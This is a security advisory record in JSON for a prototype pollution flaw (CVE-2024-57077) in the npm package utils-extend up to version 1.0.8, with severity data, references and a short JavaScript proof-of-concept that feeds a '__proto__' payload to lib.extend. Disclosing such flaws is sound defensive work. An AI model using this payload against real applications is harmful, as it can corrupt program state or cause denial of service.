{"id":"GHSA-7qgg-vw88-cc99","summary":"utils-extend Prototype Pollution","details":"The latest version of utils-extend (1.0.8) is vulnerable to Prototype Pollution through the entry function(s) lib.extend. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.\n\n## PoC\n```js\nasync function exploit() {\n   const utilsextend = require(\\\"utils-extend\\\");\n   const payload = JSON.parse('{\\\"__proto__\\\":{\\\"exploited\\\":true}}');\n   const result = await utilsextend.extend({}, payload);\n}\n\nawait exploit();\n```","aliases":["CVE-2024-57077"],"modified":"2025-09-03T15:22:41Z","published":"2025-02-06T06:31:26Z","database_specific":{"nvd_published_at":"2025-02-05T22:15:31Z","cwe_ids":["CWE-1321"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2025-02-06T23:31:52Z"},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-57077"},{"type":"WEB","url":"https://gist.github.com/tariqhawis/64bac50f8c2706e6880e45d50a507114"},{"type":"PACKAGE","url":"https://github.com/douzi8/utils-extend"}],"affected":[{"package":{"name":"utils-extend","ecosystem":"npm","purl":"pkg:npm/utils-extend"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"1.0.8"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/02/GHSA-7qgg-vw88-cc99/GHSA-7qgg-vw88-cc99.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"}]}